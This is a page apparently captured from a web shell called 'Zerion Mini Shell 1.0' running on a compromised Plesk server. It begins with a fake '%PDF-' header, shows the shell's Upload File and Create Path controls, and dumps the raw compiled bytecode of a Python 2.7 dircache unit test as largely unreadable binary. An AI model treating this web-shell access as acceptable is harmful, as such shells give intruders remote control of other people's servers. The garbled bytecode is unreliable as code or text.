%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/plesk/python/2.7/lib64/python2.7/test/
Upload File :
Create Path :
Current File : //opt/plesk/python/2.7/lib64/python2.7/test/test_dircache.pyo

�
5}�ac@s�dZddlZddlmZmZedde�ZddlZddlZddl	Z	ddl
Z
dejfd��YZd�Z
ed	kr�e
�ndS(
s7
  Test cases for the dircache module
  Nick Mathewson
i����N(trun_unittestt
import_moduletdircachet
deprecatedt
DircacheTestscBsGeZd�Zd�Zd�Zd�Zd�Zd�Zd�ZRS(cCstj�|_dS(N(ttempfiletmkdtempttempdir(tself((s;/opt/plesk/python/2.7/lib64/python2.7/test/test_dircache.pytsetUp
scCs>x'tj|j�D]}|j|�qWtj|j�dS(N(tostlistdirRtdelTemptrmdir(Rtfname((s;/opt/plesk/python/2.7/lib64/python2.7/test/test_dircache.pyttearDownscCs/ttjj|j|�d�}|j�dS(Ntw(topenR
tpathtjoinRtclose(RRtf((s;/opt/plesk/python/2.7/lib64/python2.7/test/test_dircache.pyt	writeTemps!cCs#tjtjj|j|��dS(N(R
tmkdirRRR(RR((s;/opt/plesk/python/2.7/lib64/python2.7/test/test_dircache.pyt	mkdirTempscCsKtjj|j|�}tjj|�r:tj|�n
tj|�dS(N(R
RRRtisdirR
tunlink(RR((s;/opt/plesk/python/2.7/lib64/python2.7/test/test_dircache.pyRscCs�tj|j�}|j|g�|jtj|j�|k�tjd dkr�tjd�|j	d�tj|j�}|j|dg�|jtj|j�|k�n|j
ttj|jd�dS(Nitwintos2ittest1t_nonexistent(RR(RRRtassertEqualt
assertTruetsystplatformttimetsleepRtassertRaisestOSError(Rtentries((s;/opt/plesk/python/2.7/lib64/python2.7/test/test_dircache.pyttest_listdir#s

"cCsY|jd�|jd�dddg}tj|j|�|j|dddg�dS(Nttest2tAttest_nonexistentsA/(RRRtannotateRR(Rtlst((s;/opt/plesk/python/2.7/lib64/python2.7/test/test_dircache.pyt
test_annotate=s


(	t__name__t
__module__R	RRRRR(R.(((s;/opt/plesk/python/2.7/lib64/python2.7/test/test_dircache.pyRs						cCs ztt�Wdtj�XdS(N(RRRtreset(((s;/opt/plesk/python/2.7/lib64/python2.7/test/test_dircache.pyt	test_mainEst__main__(t__doc__tunittestttest.test_supportRRtTrueRR
R#R!RtTestCaseRR2R/(((s;/opt/plesk/python/2.7/lib64/python2.7/test/test_dircache.pyt<module>s09	

Zerion Mini Shell 1.0